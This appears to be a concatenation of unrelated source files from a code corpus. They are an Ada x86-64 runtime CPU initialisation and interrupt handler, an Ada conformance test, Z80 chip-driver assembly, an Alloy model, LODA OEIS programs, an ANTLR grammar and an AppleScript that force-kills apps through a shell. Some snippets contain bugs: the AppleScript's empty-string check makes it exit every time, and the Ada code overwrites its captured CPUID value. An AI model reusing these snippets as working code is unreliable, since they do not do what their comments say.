RBX => Null_Address,
RBP => Null_Address,
R12 => Argument,
R13 => Program_Counter,
R14 => Null_Address,
R15 => Null_Address);
end Initialize_Context;
--------------------
-- Initialize_CPU --
--------------------
procedure Initialize_CPU is
Min_Required_CPUID_Index : constant := 16#0D#;
-- The minimum Intel processor architecture we support is Sandy Bridge
-- which has a max CPUID Index of DH. This leaf corresponds to the
-- TSC Leaf which we use
begin
-- Verify CPU by checking the processors' vendor string. At this point
-- we only support Intel. AMD support will come later once we verify it
-- supports what we need.
declare
EAX : constant := 0;
-- CPUID Leaf 0H, Vendor ID string
subtype CPU_ID_String is String (1 .. 4);
EBX, EDX, ECX : CPU_ID_String;
begin
Asm ("cpuid",
Inputs => Unsigned_32'Asm_Input ("a", EAX),
Outputs =>
(Unsigned_32'Asm_Output ("=a", Max_CPUID_Index),
CPU_ID_String'Asm_Output ("=b", EBX),
CPU_ID_String'Asm_Output ("=c", ECX),
CPU_ID_String'Asm_Output ("=d", EDX)),
Volatile => True);
if EBX = "Genu" and then EDX = "ineI" and then ECX = "ntel" then
-- Capture the highest CPUID index value
if Max_CPUID_Index >= Min_Required_CPUID_Index then
Max_CPUID_Index := EAX;
else
raise Program_Error with
"Unsupported Intel processor";
end if;
else
raise Program_Error with "Runtime only supports Intel processors";
end if;
end;
-- Check processor supported features
declare
-- CPUID Leaf 01H, Feature Information
Feature_Info_Leaf : constant := 16#01#;
Features_ECX : Feature_Information_ECX;
Features_EDX : Feature_Information_EDX;
-- CPUID Leaf 0DH, Processor Extended State Enumeration
Extended_State_Leaf : constant := 16#0D#;
Extended_State_1_EAX : Extended_State_Subleaf_1_EAX;
-- CPUID Subleaf
Sub_Leaf_1 : constant := 1;
begin
-- Check for XSAVE processor feature, builtin APIC and TSC
Asm ("cpuid",
Inputs => Unsigned_32'Asm_Input ("a", Feature_Info_Leaf),
Outputs =>
(Feature_Information_ECX'Asm_Output ("=c", Features_ECX),
Feature_Information_EDX'Asm_Output ("=d", Features_EDX)),
Clobber => "rbx",
Volatile => True);
if not Features_ECX.XSAVE then
raise Program_Error
with "Runtime requires XSAVE processor feature";
end if;
if not Features_EDX.APIC then
raise Program_Error with "Processor is missing builtin APIC!";
end if;
if not Features_EDX.TSC then
raise Program_Error
with "Runtime requires Time Stamp Counter";
end if;
-- Check for XSAVEOPT instruction. This enables us to not store the
-- floating-pointer and vector state on each interrupt handler if
-- if the state has not changed.
Asm ("cpuid",
Inputs =>
(Unsigned_32'Asm_Input ("a", Extended_State_Leaf),
Unsigned_32'Asm_Input ("c", Sub_Leaf_1)),
Outputs =>
Extended_State_Subleaf_1_EAX'Asm_Output
("=a", Extended_State_1_EAX),
Clobber => "rbx, rdx",
Volatile => True);
if not Extended_State_1_EAX.XSAVEOPT then
raise Program_Error
with "Runtime requires XSAVEOPT instruction";
end if;
end;
-- Setup Control Registers to enable SSE and XSAVE (the latter enabling
-- AVX support).
declare
CR4 : Control_Register_4 := Get_CR4;
begin
CR4.FXSAVE_FXRSTOR_And_SSE_Enable := True;
CR4.XSAVE_and_Processor_Extended_States_Enable := True;
Set_CR4 (CR4);
end;
-- Set Extended Control Register XCR0 so that XSAVE can store x87, SSE
-- AVX and AVX-512 registers. See Section 13.3, Vol 1. Note that
-- XCR0 is set via EDX:EAX rather than a RAX, so we need to split our
-- state into a high and low register. %rcx selects XCR0. To ensure we
-- only set only valid bits we need to AND BB_X86_Context_State with the
-- support state given in CPUID leaf 0DH, sub-leaf 0.
declare
-- CPUID Leaf 0DH, Processor Extended State Enumeration
Extended_State_Leaf : constant := 16#0D#;
Sub_Leaf_0 : constant := 0;
begin
Asm
("cpuid" & NL &
-- rax:rdx have the supported state mask. Move our mask into
-- %2:rcx.
"movq %2, %%rcx" & NL &
"shrq $32, %%rcx" & NL &
"andq %2, %%rax" & NL &
"andq %%rcx, %%rdx" & NL &
"movq $0, %%rcx" & NL &
"xsetbv",
Inputs =>
(Unsigned_32'Asm_Input ("a", Extended_State_Leaf),
Unsigned_32'Asm_Input ("c", Sub_Leaf_0),
State_Component_Bit_Map'Asm_Input ("r", BB_X86_Context_State)),
Clobber => "rbx, rdx",
Volatile => True);
end;
-- Initialize x87 FPU to defaults, masking floating point exceptions
Asm ("fninit", Volatile => True);
-- Initialize SSE MXCSR with default 0x1F80
-- Note: check if we need it to raise divide by zero exceptions.
Asm ("ldmxcsr %0",
Inputs => Unsigned_32'Asm_Input ("m", Runtime_SSE_MXCSR),
Volatile => True);
-- Finalize setup of GDT by setting each CPUs TSS record in the
-- corresponding GDT TSS entry.
declare
type TSS_Address is record
Low : Base_Address_Low_Part;
High : Base_Address_High_Long_Part;
end record;
for TSS_Address use record
Low at 0 range 0 .. 23;
High at 3 range 0 .. 39;
end record;
function To_TSS_Address is new
Ada.Unchecked_Conversion (System.Address, TSS_Address);
begin
for J in GDT.CPU_TSS'Range loop
GDT.CPU_TSS (J).Base_Address_Low :=
To_TSS_Address (CPU_Task_State (J)'Address).Low;
GDT.CPU_TSS (J).Base_Address_High :=
To_TSS_Address (CPU_Task_State (J)'Address).High;
end loop;
end;
-- Setup CPU specific information
declare
use System.Multiprocessors;
Interrupt_Stacks : array (CPU) of System.Address;
pragma Import (Asm, Interrupt_Stacks, "interrupt_stack_table");
-- The Interrupt_Stack_Table defined in the body of
-- System.BB.Interrupts provides the initial interrupt stack pointer
-- for each CPU. Unlike other targets, on x86-64 we relocate the
-- processor's interrupt stack pointer to the x86-64 processor
-- specific CPU_Specific_Information record because the x86-64
-- processor will switch stacks for us.
Exception_Stack_Pointer : System.Address;
-- Like the interrupt stack pointer above, but for exceptions.
My_ID : constant CPU := CPU_Range (Local_APIC_ID_Register.ID) + 1;
-- Local APIC IDs start from 0 while type CPU starts from 1
My_CPU_Task_State : Task_State_Segment renames CPU_Task_State (My_ID);
GDT_Location : constant Descriptor_Pointer :=
(Base_Address => GDT'Address, Limit => GDT'Size / 8 - 1);
IDT_Location : constant Descriptor_Pointer
with Import, External_Name => "__idt_access";
-- Locations of the GDT and IDT tables in the format required by
-- their respective load instructions.
begin
-- Initialize exception stack pointer. The interrupt stack pointer
-- was initialized in BB.Interrupts.
Initialize_Stack
(Exception_Stacks (My_ID)'Address,
Exception_Stack_Space'Size,
Exception_Stack_Pointer);
My_CPU_Task_State :=
(CPU_ID => My_ID,
IST1 => Interrupt_Stacks (My_ID),
IST7 => Exception_Stack_Pointer,
others => <>);
-- Find the size of the XSAVE state. We capture this information in
-- the task's CPU_Task_State record because cpuid can be very
-- expensive in virtualised environments.
declare
XSAVE_Leaf : constant := 16#0D#;
Sub_Function : constant := 0;
begin
Asm
("cpuid",
Inputs =>
(Unsigned_32'Asm_Input ("a", XSAVE_Leaf),
Unsigned_32'Asm_Input ("c", Sub_Function)),
Outputs =>
Unsigned_64'Asm_Output ("=b", My_CPU_Task_State.XSAVE_Size),
Clobber => "rdx",
Volatile => True);
end;
-- Write address of My_CPU_Task_State into %gs via the IA32_GS_BASE
-- MSR
Asm
("movq %%rax, %%rdx" & NL &
"shrq $32, %%rdx" & NL &
"wrmsr",
Inputs =>
(System.Address'Asm_Input ("a", My_CPU_Task_State'Address),
Unsigned_32'Asm_Input ("c", IA32_GS_BASE)),
Volatile => True);
-- Switch GDT to our tasking version
Asm
("lgdt %0",
Inputs => Descriptor_Pointer'Asm_Input ("m", GDT_Location),
Volatile => True);
-- Switch to our new code and data segments
Asm
("pushq %0" & NL &
"pushq $1f" & NL &
"lretq" & NL &
"1: movl %1, %%eax" & NL &
"movw %%ax, %%ds" & NL &
"movw %%ax, %%es" & NL &
"movw %%ax, %%ss" & NL &
"movw %%ax, %%fs",
Inputs =>
(Unsigned_16'Asm_Input ("i", GDT.Code'Position),
Unsigned_16'Asm_Input ("i", GDT.Data'Position)),
Clobber => "rax",
Volatile => True);
-- Load the Task Register with the CPU's TSS. For the first CPU it's
-- the first component of the CPU_TSS array.
Asm
("ltr %0",
Inputs => Unsigned_16'Asm_Input ("r", GDT.CPU_TSS'Position),
Volatile => True);
-- Load the IDT
Asm
("lidt %0",
Inputs => Descriptor_Pointer'Asm_Input ("m", IDT_Location),
Volatile => True);
end;
-- Mask Intel 8259A PIC if it happens to be present on our x86-64
-- machine.
Write_IO_Byte (Data => 16#FF#, Port => 16#A1#);
Write_IO_Byte (Data => 16#FF#, Port => 16#21#);
-- Initialize Local APIC
-- Set the Spurious Interrupt Register, which is required to allow the
-- CPU to receive interrupts from the APIC.
Local_APIC_Spurious_Interrupt_Register :=
(Spurious_Vector => Spurious_Interrupt_Vector,
APIC_Enabled => True,
Focus_Processor_Checking => False,
Suppress_EOI_Broadcast => False);
-- By default all interrupt entries in the Local Vector Table are
-- masked. Let's assume that is the case for now. In the future it may
-- be useful to enable the Error, LINT0 and LINT1 vectors (for the
-- latter need to decide whether to hard code or read the ACPI table).
-- Setup Local APIC Timer
-- Disable warnings for Local_APIC_Timer_Divide_Configuration
pragma Warnings (Off, "condition is always*");
Local_APIC_Timer_Divide_Configuration :=
(case APIC_Timer_Divider is
when 1 => Divide_by_1, when 2 => Divide_by_2,
when 4 => Divide_by_4, when 8 => Divide_by_8,
when 16 => Divide_by_16, when 32 => Divide_by_32,
when 64 => Divide_by_64, when 128 => Divide_by_128,
when others => raise Program_Error with
"Invalid Local APIC Timer Divider value");
Local_APIC_LVT_Timer_Register :=
(Timer_Mode => One_Shot,
Mask => False,
Delivery => Idle,
Vector => APIC_Timer_Interrupt_ID);
TSC_Frequency_In_kHz :=
(if TSC_Frequency /= 0
then TSC_Frequency
else Determine_TSC_Frequency) / 1_000;
if TSC_Frequency_In_kHz = 0 then
raise Program_Error with "TSC frequency could not be determined";
end if;
-- Clear any pending interrupts that may have occurred before or during
-- the setup.
Local_APIC_End_of_Interrupt := Signal;
end Initialize_CPU;
-----------------------
-- Interrupt_Handler --
-----------------------
-- Important note: this function is a naked assembly function and care
-- should be taken when Ada code is used to ensure the registers and
-- stack are not improperly manipulated.
procedure Interrupt_Handler is
TSS : Task_State_Segment with Import, Address => System'To_Address (0);
-- We access the CPU's TSS directly via the %gs segment register,
-- meaning for our purpose the TSS is at address Zero. Keep this in mind
-- and do not read or write to TSS directly, only use it to pass TSS
-- components to assembly instructions. Note for this to work properly
-- this file needs to be compiled at -O1 or -O2.
IRQ_Number : Interrupt_ID;
begin
-- On entry we are on the processor's interrupt stack. Create a new
-- frame on the stack that we will use as the stack for handling this
-- interrupt. We need to work with interrupt stack frames on x86-64
-- because the interrupt stack pointer the processor loads when an
-- interrupt occurs is located in the CPU's TSS, which is only updated
-- when we do the update (i.e. the changes to %rsp are not reflected
-- in the CPU's TSS until we push the change).
Asm
("subq %0, %%gs:%1",
Inputs =>
(Unsigned_32'Asm_Input ("i", Parameters.Interrupt_Stack_Frame_Size),
System.Address'Asm_Input ("m", TSS.IST1)),
Clobber => "memory",
Volatile => True);
-- The processor has pushed the following registers onto the interrupt
-- stack:
--
-- SS
-- RSP
-- RFLAGS
-- CS
-- RIP
--
-- With the vector stub pushing the following afterwards:
--
-- IRQ Number <-- RSP
--
-- Save the rest of the integer caller-save registers.
Asm
("pushq %%rax" & NL &
"pushq %%rcx" & NL &
"pushq %%rdx" & NL &
"pushq %%rdi" & NL &
"pushq %%rsi" & NL &
"pushq %%r8" & NL &
"pushq %%r9" & NL &
"pushq %%r10" & NL &
"pushq %%r11",
Volatile => True);
-- Retrieve the IRQ number off the stack
Asm
("movl 72(%%rsp) , %0",
Outputs => Interrupt_ID'Asm_Output ("=r", IRQ_Number),
Clobber => "memory",
Volatile => True);
-- The XSAVE feature is used to capture the state of the floating point
-- and vector registers. XSAVE is used over FXSAVE since it can store
-- the AVX registers and has the ability to only save the state if it
-- has been modified. Downside, it requires 64-byte alignment while the
-- processor only aligns the interrupt stack on 16-bytes. Consequently,
-- create an alignment adjusted frame for the XSAVE state and store the
-- current stack pointer just below it so we know where we restore the
-- stack to.
-- Create the space for the XSAVE state on the stack, aligned to 64-byte
-- boundary. We do this in a temporary register as we want to push the
-- current value of the stack after the XSAVE state so we know where to
-- restore the stack pointer to after the XSAVE space has been restored
-- (since we do not know how large the XSAVE space is once adjusted for
-- alignment).
Asm
("movq %%rsp, %%rsi" & NL &
"subq %%gs:%0, %%rsi" & NL &
"and $-64, %%rsi" & NL &
-- Swap in the new stack pointer and save the old stack pointer.
"movq %%rsp, %%rax" & NL &
"movq %%rsi, %%rsp" & NL &
"pushq %%rax",
Inputs => Unsigned_64'Asm_Input ("m", TSS.XSAVE_Size),
Clobber => "rax, rsi, memory",
Volatile => True);
-- Load the XSAVE state mask requesting the states we want to save into
-- %edx:%eax. Then XSAVE! We use XSAVEOPT to do this as we only want to
-- save and restore states that are used and have changed.
Asm
("movq %0, %%rax" & NL &
"movq %%rax, %%rdx" & NL &
"shrq $32, %%rdx" & NL &
"xsaveopt 8(%%rsp)",
Inputs =>
State_Component_Bit_Map'Asm_Input ("m", BB_X86_Context_State),
Clobber => "rdx, memory",
Volatile => True);
-- At this point it is safe to use limited Ada code since we've saved
-- the caller-saved registers. Just note that there's no stack frame
-- allocated for this procedure, so we do very little here and just jump
-- off to a proper Ada procedure.
-- Handle the interrupt at the runtime level
Interrupt_Wrapper (IRQ_Number);
-- Signal to the Local APIC that the interrupt is finished
Local_APIC_End_of_Interrupt := Signal;
-- Interrupt has been handled. Time to clean up and exit, noting that
-- we may have to switch to another task if the interrupt event has
-- caused a scheduling change.
-- Do a context switch if we are required to.
if System.BB.Threads.Queues.Context_Switch_Needed then
Context_Switch;
end if;
-- Time to restore the state of the interrupted task and return to it
-- Restore XSAVE state, noting the current value of RSP points to the
-- address of the stack before the XSAVE state space was allocated. The
-- XSAVE state is then stored at an offset of 8 bytes from RSP.
Asm
("movq %0, %%rax" & NL &
"movq %%rax, %%rdx" & NL &
"shrq $32, %%rdx" & NL &
"xrstor 8(%%rsp)",
Inputs =>
State_Component_Bit_Map'Asm_Input ("m", BB_X86_Context_State),
Clobber => "rdx, memory",
Volatile => True);
-- Remove the XSAVE state from the stack
Asm ("popq %%rsp", Clobber => "memory", Volatile => True);
-- Restore the caller-saved registers we saved
Asm
("popq %%r11" & NL &
"popq %%r10" & NL &
"popq %%r9" & NL &
"popq %%r8" & NL &
"popq %%rsi" & NL &
"popq %%rdi" & NL &
"popq %%rdx" & NL &
"popq %%rcx" & NL &
"popq %%rax",
Clobber => "memory",
Volatile => True);
-- Remove the IRQ number from the stack and release the interrupt stack
-- frame.
Asm
("addq $8, %%rsp" & NL &
"addq %0, %%gs:%1",
Inputs =>
(Unsigned_32'Asm_Input ("i", Parameters.Interrupt_Stack_Frame_Size),
System.Address'Asm_Input ("m", TSS.IST1)),
Clobber => "memory",
Volatile => True);
-- Return to interrupted task
Asm ("iretq", Volatile => True);
end Interrupt_Handler;
----------------------------
-- Install_Error_Handlers --
----------------------------
procedure Install_Error_Handlers is
begin
null;
end Install_Error_Handlers;
-----------------------
-- Process_Exception --
-----------------------
procedure Process_Exception (ID : Interrupt_ID; Code : Error_Code) is
procedure Fatal_Exception (ID : Interrupt_ID; Code : Error_Code)
with Import, External_Name => "__gnat_fatal_exception";
begin
case ID is
when Divide_Error_Exception =>
raise Constraint_Error with "hardware divide by zero exception";
when Dedug_Execption =>
raise Program_Error with "debug exception";
when Breakpoint_Execption =>
raise Program_Error with "breakpoint exception";
when Overflow_Exception =>
raise Constraint_Error with "hardware overflow exception";
when BOUND_Range_Exceeded_Exception =>
raise Constraint_Error with "hardware BOUND check failed";
when Segment_Not_Present_Exception =>
raise Storage_Error with "segment not present";
when Stack_Segment_Fault_Exception =>
raise Storage_Error with "stack segment fault";
when Math_Fault_Exception =>
raise Constraint_Error with "floating point exception";
when SIMD_Floating_Point_Exception =>
raise Constraint_Error with "SSE exception";
when Page_Fault_Exception =>
raise Storage_Error with "page fault exception";
when others =>
Fatal_Exception (ID, Code);
end case;
end Process_Exception;
-------------
-- Set_CR4 --
-------------
procedure Set_CR4 (CR4 : Control_Register_4) is
begin
Asm
("movq %0, %%cr4",
Inputs => Control_Register_4'Asm_Input ("r", CR4),
Volatile => True);
end Set_CR4;
------------------
-- Thread_Start --
------------------
procedure Thread_Start is
begin
-- Move the argument from R12 where it was stored as part of the
-- creation of the task to RDI (the first parameter passing register)
-- and then jump to the task procedure whose address is in R13
Asm
("movq %%r12, %%rdi" & NL &
"jmp *%%r13",
Volatile => True);
end Thread_Start;
end System.BB.CPU_Primitives;
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c4/c45264a.ada | best08618/asylo | 7 | 9728 | -- C45264A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT EQUALITY COMPARISONS YIELD CORRECT RESULTS FOR ONE
-- DIMENSIONAL AND MULTI-DIMENSIONAL ARRAY TYPES.
-- CASE THAT CHECKS THAT TWO NULL ARRAYS OF THE SAME TYPE ARE
-- ALWAYS EQUAL.
-- PK 02/21/84
-- EG 05/30/84
WITH REPORT;
USE REPORT;
PROCEDURE C45264A IS
SUBTYPE INT IS INTEGER RANGE 1 .. 3;
BEGIN
TEST("C45264A","CHECK THAT EQUALITY COMPARISONS YIELD CORRECT " &
"RESULTS FOR ONE DIMENSIONAL AND MULTI-" &
"DIMENSIONAL ARRAY TYPES");
DECLARE
TYPE A1 IS ARRAY(INT RANGE <>) OF INTEGER;
BEGIN
IF A1'(1 .. IDENT_INT(2) => IDENT_INT(1)) /=
A1'(IDENT_INT(2) .. 3 => IDENT_INT(1)) THEN
FAILED ("A1 - ARRAYS NOT EQUAL");
END IF;
EXCEPTION
WHEN OTHERS =>
FAILED ("A1 - EXCEPTION RAISED");
END;
DECLARE
TYPE A2 IS ARRAY(INT RANGE <>, INT RANGE <>) OF INTEGER;
BEGIN
IF A2'(1 .. IDENT_INT(2) =>
(IDENT_INT(3) .. IDENT_INT(2) => IDENT_INT(1))) /=
A2'(IDENT_INT(2) .. 3 =>
(IDENT_INT(2) .. IDENT_INT(1) => IDENT_INT(1))) THEN
FAILED ("A2 - ARRAYS NOT EQUAL");
END IF;
EXCEPTION
WHEN OTHERS =>
FAILED ("A2 - EXCEPTION RAISED");
END;
DECLARE
TYPE A3 IS
ARRAY(INT RANGE <>, INT RANGE <>, INT RANGE <>) OF
INTEGER;
BEGIN
IF A3'(1 .. IDENT_INT(2) =>
(IDENT_INT(1) .. IDENT_INT(3) =>
(IDENT_INT(3) .. IDENT_INT(2) => IDENT_INT(1)))) /=
A3'(IDENT_INT(1) .. 3 =>
(IDENT_INT(2) .. IDENT_INT(1) =>
(IDENT_INT(1) .. IDENT_INT(2) => IDENT_INT(1)))) THEN
FAILED ("A3 - ARRAYS NOT EQUAL");
END IF;
EXCEPTION
WHEN OTHERS =>
FAILED ("A3 - EXCEPTION RAISED");
END;
RESULT;
END C45264A;
|
src/chips/YM3812.asm | sharksym/vgmplay-sharksym | 6 | 22378 | <filename>src/chips/YM3812.asm
;
; VGM YM3812 chip
;
YM3812: MACRO
super: Chip YM3812_name, Header.ym3812Clock, YM3812_Connect
; hl' = time remaining
; ix = player
; iy = reader
ProcessCommand: PROC
call Reader_ReadWord_IY
jp System_Return
writeRegister: equ $ - 2
ENDP
; hl' = time remaining
; ix = player
; iy = reader
ProcessCommandDual: PROC
call Reader_ReadWord_IY
jp System_Return
writeRegister: equ $ - 2
ENDP
ENDM
; ix = this
; iy = header
YM3812_Construct: equ Chip_Construct
; jp Chip_Construct
; ix = this
YM3812_Destruct: equ Chip_Destruct
; jp Chip_Destruct
; iy = drivers
; ix = this
YM3812_Connect:
call YM3812_TryCreate
ret nc
call Chip_SetDriver
ld bc,YM3812.ProcessCommand.writeRegister
call Device_ConnectInterface
call Chip_IsDualChip
ret z
call YM3812_TryCreate
ret nc
call Chip_SetDriver2
ld bc,YM3812.ProcessCommandDual.writeRegister
jp Device_ConnectInterface
; iy = drivers
; ix = this
; de <- driver
; hl <- device interface
; f <- c: succeeded
YM3812_TryCreate: equ YMF262_TryCreate
; jp YMF262_TryCreate
;
SECTION RAM
YM3812_instance: YM3812
ENDS
YM3812_name:
db "YM3812 (OPL2)",0
|
alloy4fun_models/trashltl/models/7/BhyAsD2Xh8h5k57wS.als | Kaixi26/org.alloytools.alloy | 0 | 4977 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idBhyAsD2Xh8h5k57wS_prop8 {
eventually File.link + link.File in Trash
}
pred __repair { idBhyAsD2Xh8h5k57wS_prop8 }
check __repair { idBhyAsD2Xh8h5k57wS_prop8 <=> prop8o } |
programs/oeis/115/A115789.asm | karttu/loda | 0 | 10776 | ; A115789: (Floor((n+1)*pi)-Floor(n*pi)) mod 2.
; 1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1
trn $0,4
add $0,4
gcd $0,7
mov $1,2
trn $1,$0
|
Language/Grammar/Thttil.g4 | Renondedju/Thttil | 2 | 1811 | <reponame>Renondedju/Thttil
grammar Thttil;
/*
MIT License
Copyright (c) 2019 <NAME>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
/*
* Parser Rules
*/
// Main rule, allows program parsing
program : (command | stream_tag)* EOF ;
// Argument: this may be any command argument
// Syntax : $var or @extern_var or "String" or $(COMMAND "args...")
argument : VARIABLE | STRING | command ;
// Stream tag:
stream_tag : STREAM_TAG ;
// Print command: this allows for easier file reading
// Syntax : %Some arbitrary content%
// Translated to: $(OUT "Some arbitrary content")
print_command : PRINT ;
// Command : this is anything that can execute something and be replaced by it's result
// Syntax : $(FUNCTION "Some arbitrary content", $some_more ...)
// Replaced by: FUNCTION return value
command : '$(' function=FUNCTION (| args+=argument (',' args+=argument)*) ')' ('{' commands+=instruction_block_content* '}')?
| print_command
;
instruction_block_content : (command | stream_tag) ;
/*
* Lexer Rules
*/
fragment LOWERCASE : [a-z] ;
fragment UPPERCASE : [A-Z] ;
fragment CHAR : [a-zA-Z] ;
fragment PROTECTED_PRINT : '\\\\' | '\\%' ;
fragment PROTECTED_STRING : '\\\\' | '\\"' ;
STREAM_TAG : '@' CHAR+ ;
FUNCTION : UPPERCASE+ ;
PRINT : '%' (PROTECTED_PRINT | ~[%])*? '%' ;
STRING : '"' (PROTECTED_STRING | ~["])*? '"' ;
VARIABLE : '$' (CHAR | '_' | '-' | '.')+ ;
COMMENT : '#' ~( '\r' | '\n' )* -> skip ;
WHITESPACE : [ \t\n\r]+ -> skip ; |
Application Services/AppKiller.applescript | rogues-gallery/applescript | 0 | 3408 | --- Like app launcher, but just kills apps
--- bind to a key combo for max efficiency
--- enter app name and press the enter button on your keyboard or press the Go button
--- hit the enter button if you don't want to kill anything
--- added a way to find the process ID of hung applications and force quit using the "kill -KILL" command.
--- may not work with applications that have many similarly named processes running (like "Google Chrome Helper" or "Google Chrome Renderer")
activate
set applaunch to text returned of (display dialog "" default answer "" buttons {"Go"} default button "Go")
if applaunch contains "" then
error number -128
else if applaunch contains applaunch then
try
tell application applaunch
quit
end tell
on error
tell application "System Events"
set {procesList, pidList} to the {name, unix id} of (every process whose name contains applaunch)
if procesList contains applaunch then
do shell script "kill -KILL " & pidList
end if
end tell
end try
end if
--- http://www.github.com/unforswearing
|
oeis/080/A080522.asm | neoneye/loda-programs | 11 | 177886 | ; A080522: Leading diagonal of triangle in A080521.
; Submitted by <NAME>
; 1,3,5,10,22,49,107,228,476,979,1993,4030,8114,16293,32663,65416,130936,261991,524117,1048386,2096942,4194073,8388355,16776940,33554132,67108539,134217377,268435078,536870506,1073741389,2147483183,4294966800,8589934064,17179868623,34359737773,68719476106,137438952806,274877906241,549755813147,1099511626996,2199023254732,4398046510243,8796093021305,17592186043470,35184372087842,70368744176629,140737488354247,281474976709528,562949953420136,1125899906841399,2251799813683973,4503599627369170
mov $1,$0
add $0,2
mul $1,$0
trn $1,$0
mov $2,2
pow $2,$0
sub $2,$1
mov $0,$2
div $0,2
sub $0,1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.